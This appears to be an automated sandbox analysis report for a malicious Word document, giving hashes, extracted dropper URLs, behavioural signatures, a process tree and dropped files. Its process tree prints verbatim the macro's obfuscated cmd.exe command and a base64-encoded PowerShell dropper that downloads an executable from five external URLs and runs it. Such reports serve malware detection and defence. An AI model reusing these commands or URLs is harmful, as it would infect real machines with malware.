Overview

overview

10

Static

static

8

7fbdddca76...18.doc

windows7-x64

10

7fbdddca76...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/05/2024, 06:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target

    7fbdddca76f7d44b974951404a7e06e2_JaffaCakes118.doc

  • Size

    122KB

  • MD5

    7fbdddca76f7d44b974951404a7e06e2

  • SHA1

    d9f5cf9192ff3de4b9a2f67a6d8ebc6ff90daf0f

  • SHA256

    6084622a1f6081c0abc5e5e299dbd13835f3dfa5dfd79a4e05f2281b9a74a856

  • SHA512

    d7c1cac72f9dfda742b93ec4b27d0c14888797766f22442821f66eb41b87cfb5683607d2b75205c237dfe6ab92f788d75c3a84fc6ee7e78c1f31dd7e794c49ba

  • SSDEEP

    1536:7ptJlmrJpmxlRw99NBD+aEGV2ABDrtGcONzhSTSriGcNdrBgZI916TJaQ91:Vte2dw99fn96AxGcdgE16r

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://jobarba.com/wp-content/dstf6
exe.dropper

http://lightbox.lbdev.co.uk/WHl239
exe.dropper

http://challengerballtournament.com/5Evo
exe.dropper

http://thepresentationstage.com/V5mXOIOH
exe.dropper

http://demo.58insaat.com/tuGN6FS

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7fbdddca76f7d44b974951404a7e06e2_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4520
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /V^:^oN^ /c "^se^T ^ ^ ^ R^0=^LF^M^A^z^K^P^G^Q^Sw^zkDS^P^aOFb^tKvl^3R^d^6=^i^5^2^u-N^q^h8^E^Xr^YCm9^gs^jo^f^ VHJ7cneT^0^Bp^y^1^W^U^4IZ&&^FOR %^S ^IN ( 6^1^ 48^ ^ ^1^0^ 57^ ^40 ^4^6 ^ ^ ^36^ ^ ^5^7^ ^23 2^3 ^ 50^ ^3^3 ^57 50 53^ ^ ^3^ 60 ^ ^ ^15 3^ ^ ^ ^3^8^ ^ ^48 ^ ^3 55^ ^3^ ^3 ^ ^4^4 ^3 ^7 ^ 66^ ^3^ ^68^ 8 6^0^ 2^4^ 3^ ^4^2 5^9 ^ ^ 3 ^ ^1^9^ 10^ ^ ^60^ ^ ^ 29 ^ ^3 ^ ^ 7^ ^ ^ 48^ ^ 3^ ^68 ^8^ 60 47 ^ 3^ ^ ^5^2^ ^ ^ 8 3^ ^6^7 ^ 3 ^60 1^7 ^ ^ ^ ^3 ^7^ ^6^5 ^3^ ^ ^2^6 ^ ^3 ^ ^ 3 ^ ^ 3^2^ ^ 3 ^ ^18^ ^ 55^ 3^ ^ ^ 6^8 8^ 6^0^ ^ ^2^9 ^ ^ 3 38 ^ 2^ 3 1^9^ ^ ^ 3^ ^ 60 6^1 3^ ^ 7 ^6^5^ 3 ^19 4^5 60 ^ 59 ^ 3^ ^ ^1^3 ^46^ ^3^ ^ 5^3^ 3 ^60^ ^ 2^7 ^ ^ ^3 ^18^ 12^ 3 ^ ^1^6 ^ ^45^ ^ 3^ ^44^ ^3^ ^4^2^ ^ 55^ 3 ^ ^ 1^6^ ^3 ^ 60^ 59^ 3 52 ^ ^ 8^ 3^ 55 ^3 ^ ^3^ ^27^ ^ ^ ^3 4^2 3^7^ ^3^ ^0 1^0 ^ 6^0^ ^35 ^ ^ ^3^ ^ ^7^ ^3^7^ 3 ^ ^ 4^1^ 4^5^ ^60 ^ ^ 3^6 ^3^ 5^2^ ^67^ ^3 ^4^1 45 6^0^ ^36 ^3^ ^ 4^2^ ^ ^66 3^ ^ ^ ^4^1^ ^10^ ^60^ ^ ^22^ 3 ^7 ^ ^ 5^9 ^ 3 ^0 ^ ^ 1^0 ^60^ ^2^4 ^3^ ^ 5^2 3^ 3 ^ ^ 0^ 8 ^ 60^ ^47 ^ ^3 ^ 7 ^ ^37 3^ 1^9 4^5^ 6^0 ^ ^ ^ 59^ 3 ^ ^7 ^ ^ ^ ^6^5 ^ 3 ^19 ^4^5^ ^60^ ^ ^ 5^9^ ^ 3 ^4^2^ 37^ ^3 ^68^ 3^ ^60^ 1^1^ 3^ ^ ^ 5^2 ^8 3^ 6^8 ^45^ ^ ^3 ^31^ ^3^ ^3^8^ 3^ 3^ 1^6^ 3 ^6^0^ ^ 59^ ^ ^3^ 5^2 ^8 ^ 3 ^5^5 3^ 3^ ^ ^ 27 3 ^ 42^ ^ ^37 ^3 ^ 0^ ^1^0 ^ ^ 6^0 ^ ^46^ ^3 ^7^ ^ 12^ 3 6^8 ^10 6^0 48 ^3^ ^ ^52 ^ 8^ 3^ ^ 4^1^ 4^5^ ^ 60 ^ ^ ^ 22 ^ ^ 3 ^5^2 ^4^5 ^ ^3 ^0^ ^4^5 ^6^0^ ^ ^ 46 ^ ^ ^3^ 7^ 67 ^ ^ 3^ ^ 6^8 ^3^ 6^0 2^3 ^ ^3^ 5^2 4^1^ ^3 ^0 ^ 4^5^ ^60^ 47 ^3^ ^7 ^ ^ ^ ^3^7 ^ ^ ^3^ 0 ^ ^ ^ ^4^5 ^ ^ ^ 60 ^6^3^ 3^ 7^ 4^6^ ^3^ ^ ^0^ ^ 1^0 ^ ^6^0 39 ^ ^3 38^ ^4^5^ ^ ^3 1^9^ ^3 ^ ^ ^3 ^6^2^ ^ 3^ 13^ ^ 2^ 3 ^ 1^7^ 8^ ^ ^ ^60^ 3 ^ 3^ ^7 ^ ^ ^45^ ^ ^ 3^ 2^6 3 60^ 59^ ^ 3^ ^ 52 ^ 3 ^3^ ^1^7 ^ 45^ ^ ^ ^3 2^2^ 3 4^2 ^ ^ ^ ^37^ ^ ^ 3 4^1^ 10^ ^ 6^0^ ^ ^ ^ 48^ ^ 3^ ^ ^ 7^ 3^8 ^3 ^ 1^9^ 3^ ^6^0^ 4^6 3^ ^7 ^6^5^ ^3^ ^ ^1^9^ ^ ^ ^4^5^ ^60 ^ ^56^ 3^ 7^ 65 ^ 3 55^ ^45 ^6^0^ ^29^ 3^ ^ ^ ^ ^7^ ^ 38 ^3^ ^ ^1^9 3^ ^60^ ^4^6^ ^ ^ ^ ^3^ ^ ^52 ^ ^8 ^3 ^19^ ^ 10^ ^6^0^ ^6^3 3^ ^ 52 6^7^ ^3^ ^ ^ 19^ ^ ^ ^4^5^ ^ ^ ^60 ^ ^ ^ 3^6^ ^ ^ ^3 ^ ^ 7^ ^ 5^9^ ^3^ 6^8 ^ ^ 8 6^0 32^ ^ ^3^ ^ ^52^ ^ ^8^ ^3 ^0 ^ ^45 60^ ^47 ^ 3^ 7^ 37^ 3 ^1^9 ^ ^8^ ^3^ 2^2^ 3^ ^ 1^3 ^ ^ 65^ 3^ ^ 2^5 ^ ^8^ ^ ^ ^ 60^ ^ 31 ^3 ^ ^7^ ^ ^ ^3^7^ ^3^ ^8 3 ^60 4^8 ^ 3^ ^52 ^ ^8 ^3^ 2^6 ^3 ^6^0 ^1^0 3 ^13^ 4^8 3 0 ^1^0 ^ 3 22 ^ ^ ^ 3^ ^ ^ 52 ^8^ ^ 3 1^6^ ^3^ 6^0^ 23^ 3^ ^5^2 ^ ^3 3 ^55 ^ 45^ ^60 2^3^ ^ ^ ^3 ^ 52 ^ ^ ^2^ ^3^ ^ ^68^ ^ 8^ 60 ^ ^3^2 3 ^5^2 ^ 8^ 3 ^ 41^ ^8^ 60 ^ ^5^9 ^ ^3 ^ ^7^ ^ ^ ^ ^12^ ^ ^ ^3^ 19 10^ ^ ^ ^6^0 3^2 ^ ^3 5^2 ^ ^ ^2^ ^3^ 2^6^ ^3 ^ 6^0 ^ 3^6 ^ 3^ ^ ^7^ ^55 ^ 3 ^68 ^ ^ ^8^ 3 ^32 ^ ^3^ ^7 ^2^ ^ 3 1^9^ ^ ^ ^ 10^ ^60^ ^ ^20 ^ 3^ ^ ^ ^4^2^ ^3^7 3 ^5^1 45 3 ^63 ^3^ ^ ^7 59 ^ ^ ^3^ ^64^ 3^ ^ 6^0 ^ 1^5^ 3^ ^ ^ 38 ^ ^ ^1^2 ^ ^3 ^5^8 ^1^0^ ^ ^6^0^ ^ ^6^7^ ^ 3^ ^ ^ ^3^8^ ^3^ ^ 3 ^16 ^ ^3 ^ ^ 6^0^ ^ 59^ ^ ^ 3 ^ ^ ^52 ^ ^8^ ^3 ^5^5 3 3^ ^27 ^3 42^ ^ ^37 ^3^ ^0^ ^ 1^0^ 60^ ^ ^12 ^3 ^ ^7^ ^65^ ^3^ 1^9 ^ ^ ^8 ^6^0^ ^ ^ 22^ ^3^ ^ ^ 42^ 66 ^ ^ ^ ^3 ^ ^ 34 ^8^ ^ 3^ ^6^6^ ^ ^3^ ^ ^ ^7 ^ ^ ^12 ^ ^3 ^1^9^ 4^5^ 60^ ^11 ^3 ^ ^ ^7 3^8^ ^3^ 4^1 8^ ^ ^60 ^ ^5^9 3^ ^ ^4^2^ ^6^6 ^ ^ 3 ^ ^41^ 10^ ^6^0 ^ ^2^2 ^3^ ^ ^7 5^9^ ^ 3 ^ 0^ ^10^ 6^0 ^ 59 ^ ^ ^ 3 ^ ^ 52^ ^ ^ ^6^5^ 3^ ^25^ 10 60^ ^ ^ 17 3^ ^ ^ 1^3 ^4^1^ ^ ^ ^ 3^ 25^ ^4^5 ^60 ^58 ^3 4^2^ 55 ^ 3 ^ ^0^ 4^5^ 6^0 ^ ^5^8^ 3^ ^ ^ 52 3 ^ ^3 ^ ^ ^19 ^ ^ 3 ^60^ 61^ 3 5^2 8^ ^ ^ ^3 ^2^1 ^ ^3^ ^3 ^ ^ ^ ^5^6^ ^ 3 3^8^ ^ ^ 3 3 ^ ^53 1^0^ 3^ ^61^ ^ 3 ^13^ 4^6 ^ ^ ^3^ 53^ ^ 3 ^6^0 ^ ^6^0^ 3 ^ 7^ ^6^6^ ^3 ^ 1^4 ^ 3^ ^ ^ 3 45^ ^3^ ^ ^ ^ ^13^ ^ ^ ^ 59^ ^ ^3 ^67 ^3^ ^3^ ^56 3^ 13 6^7^ ^ ^ 3^ ^ ^ ^2 3 ^3^ ^ 11^ 3^ ^4^2 ^5^5 ^ 3^ ^ 1^7^ ^ ^ ^1^0^ ^ ^3^ ^ 1^2^ ^ 3 ^5^2 ^48^ ^ 3^ ^58^ ^ ^ 4^5 60 ^68^ ^ ^ 3 1^3 ^ ^5^9^ ^3^ ^ ^ ^ 53^ ^ 3^ ^ ^ 6^0^ ^23^ ^ ^ ^3^ ^ 7^ ^ 6^6 3 ^ 2^6^ 4^5 ^3 2^7 ^3 52 ^ ^3 ^3^ ^26^ ^8^ ^6^0^ 2^9 3^ ^ 7 ^ ^ ^ 10^ ^ 3 ^16^ ^ ^8 ^6^0 47^ 3 ^ ^4^2^ 46^ ^ ^ ^ 3 ^53 10 6^0^ ^5^5 ^3^ 4^2^ ^ 55^ 3 2^1 ^ ^1^0^ ^ ^3 ^ 1^2 3^ 3^8 ^ 3^8 3^ ^ ^ 19^ ^45 60 ^ ^6^7 3^ 4^2 ^ ^46 ^ ^ ^3 ^5^3 ^ ^ ^10 3 ^ ^ ^ ^3^2 3 ^ 7 ^65 ^ ^ ^3 ^57^ 3 6^0^ ^2^3^ ^3^ ^42 ^ ^5^5^ 3 ^ ^ ^1^7 10^ ^ ^ ^6^0^ ^ 4^3 3 7 ^ 37 ^3 ^ ^5^5 ^45 ^6^0 ^ ^ ^ ^2^3^ ^ ^3 ^7^ ^ ^38^ 3^ ^ ^4^1 10 60^ ^ ^4^8 ^3 ^42^ 4^5^ ^3^ ^ 53 3 ^ 6^0 ^ 61^ ^3 ^ ^18 45^ 3 1^6^ ^ 1^0 ^ ^3^ ^45^ ^ ^ ^3^ ^ ^ ^ ^7 ^ 12 ^ 3 ^ ^1^9^ ^ ^ ^4^5^ ^3 ^4^5 3 ^42^ 8 ^ ^ 3 ^ ^ 57 45 6^0^ ^ ^6^8^ 3^ ^7^ ^ 48 ^3^ ^21 ^ ^8^ 6^0 ^54^ ^3 5^2^ 8 ^ ^ 3^ ^5^5^ ^45 ^ ^ ^60 3^0 ^ ^ 3 ^5^2^ ^ ^46 3^ ^53 ^ ^ ^3 ^ 6^0^ ^15 ^ ^ ^3 3^8 48^ 3^ 5^5^ ^ ^ 3^ ^3^ ^ 3^2^ ^ ^3^ ^ ^38 ^8^ ^3 ^ ^ ^1^9^ ^ 10^ ^ 60^ ^ ^ 2^4^ 3^ ^ 7 ^6^6 ^ ^ ^ ^3^ 19 ^3 ^60 ^ ^ ^ ^22 3 7 ^ 3^8^ ^ 3^ 6^8^ ^ 3^ ^ ^ 60 ^7 ^3 ^7 ^ 12 3^ ^19^ 3^ 60 ^ 23^ ^ ^ ^3^ ^42^ 45 ^3^ ^ 5^3^ 3^ ^6^0 ^ ^6^1 ^ ^3^ ^ 1^8^ 45 3^ ^16^ ^1^0^ 3 4^6^ ^ ^ ^3 4^2^ ^ ^3^ ^ ^3 ^ ^ ^53^ ^3^ ^ ^ 6^0 ^27^ ^3^ ^3^8 ^6^6 ^3^ ^64 8^ 3 ^ 61 3^ ^ ^1^3^ ^ ^ 4^6 ^ ^ 3^ ^ 1^4^ 8 ^6^0 ^ ^3^2^ ^3 ^ ^ ^5^2 ^ ^ ^ 41 ^3^ ^ ^19 ^1^0 ^6^0^ 4^0 ^3 ^7 ^ ^ ^6^5 ^ ^3^ 0 ^ ^8 ^60^ 53 3^ ^ ^ 5^2 ^8^ ^ ^3 ^68^ 8^ 6^0 ^20 ^ 3^ 4^2^ 3^ 3^ ^ ^53 3^ ^ ^ ^60^ ^27^ ^ ^ ^3^ ^ 38 6^6^ ^3^ ^ ^6^4 ^ 8 3 ^ 5^4 ^ ^ ^3^ ^7 ^67^ ^3 ^ 5^5^ ^4^5^ ^ 60 2^3 ^ ^ 3 7^ 3^8 ^ ^3^ 16^ ^1^0^ ^ 3^ ^ ^ 5^4 3^ ^5^2 ^ 59^ ^3 ^ ^ ^ ^41 10 ^ ^6^0 36^ ^ 3^ 52^ ^8^ ^ ^3 ^41^ ^10^ ^ 6^0 ^ 48 ^ ^3^ 52 ^46 ^3 49^ ^8^ ^60 ^4^4 ^ ^ ^3^ 42^ 3^ ^3^ 67^ 3 3 45 3^ ^4^2 ^3 ^ ^3^ 6^7 ^ ^ ^ 3^ ^3 ^ ^4^5^ ^3 ^ ^4^2 3^ 3 67 ^3 ^ 3^ ^ ^4^5^ 3 4^2^ 3 3 6^7^ ^ 3^ ^ 3^ ^ ^45^ ^ ^ ^3 4^2^ 3 ^ ^ ^3 6^7^ ^ 3 ^3 ^ ^ ^ 45 ^3 ^4^2^ ^ 3 ^ 3 ^ ^ ^6^7^ 3 ^ ^3^ ^2^8 ^6^9) ^D^O S^e^T ^or^d=!^or^d!!R^0:~ %^S,1!&& ^I^f %^S G^tR ^68 C^a^l^L %^or^d:^~ ^ ^ 5% "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:4116
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -e JABPAEoAcAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AFkAagA9ACcAaAB0AHQAcAA6AC8ALwBqAG8AYgBhAHIAYgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZABzAHQAZgA2AEAAaAB0AHQAcAA6AC8ALwBsAGkAZwBoAHQAYgBvAHgALgBsAGIAZABlAHYALgBjAG8ALgB1AGsALwBXAEgAbAAyADMAOQBAAGgAdAB0AHAAOgAvAC8AYwBoAGEAbABsAGUAbgBnAGUAcgBiAGEAbABsAHQAbwB1AHIAbgBhAG0AZQBuAHQALgBjAG8AbQAvADUARQB2AG8AQABoAHQAdABwADoALwAvAHQAaABlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAHMAdABhAGcAZQAuAGMAbwBtAC8AVgA1AG0AWABPAEkATwBIAEAAaAB0AHQAcAA6AC8ALwBkAGUAbQBvAC4ANQA4AGkAbgBzAGEAYQB0AC4AYwBvAG0ALwB0AHUARwBOADYARgBTACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABBAG4ASAAgAD0AIAAnADIAMAAzACcAOwAkAHoATgBZAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAEEAbgBIACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABpAFgAawAgAGkAbgAgACQAegBZAGoAKQB7AHQAcgB5AHsAJABPAEoAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABpAFgAawAsACAAJAB6AE4AWQApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJAB6AE4AWQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3324

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\TCD8F25.tmp\gb.xsl
          Filesize

          262KB

          MD5

          51d32ee5bc7ab811041f799652d26e04

          SHA1

          412193006aa3ef19e0a57e16acf86b830993024a

          SHA256

          6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

          SHA512

          5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

          Download Submit

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phbkdvub.aam.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • C:\Users\Public\203.exe
          Filesize

          114B

          MD5

          e89f75f918dbdcee28604d4e09dd71d7

          SHA1

          f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

          SHA256

          6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

          SHA512

          8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

          Download Submit

        • memory/3324-71-0x000002626D540000-0x000002626D562000-memory.dmp

          Filesize

          136KB

          Download

        • memory/4520-58-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-54-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-6-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-7-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-8-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-9-0x00007FFEA7650000-0x00007FFEA7660000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-11-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-14-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-12-0x00007FFEA7650000-0x00007FFEA7660000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-15-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-17-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-18-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-16-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-13-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-10-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-46-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-53-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-57-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-0-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-56-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-1-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-36-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-55-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-60-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-59-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-5-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-4-0x00007FFEE994D000-0x00007FFEE994E000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4520-3-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-2-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-566-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-567-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-568-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-569-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-570-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-571-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-572-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download

        • memory/4520-591-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-592-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-593-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-590-0x00007FFEA9930000-0x00007FFEA9940000-memory.dmp

          Filesize

          64KB

          Download

        • memory/4520-594-0x00007FFEE98B0000-0x00007FFEE9AA5000-memory.dmp

          Filesize

          2.0MB

          Download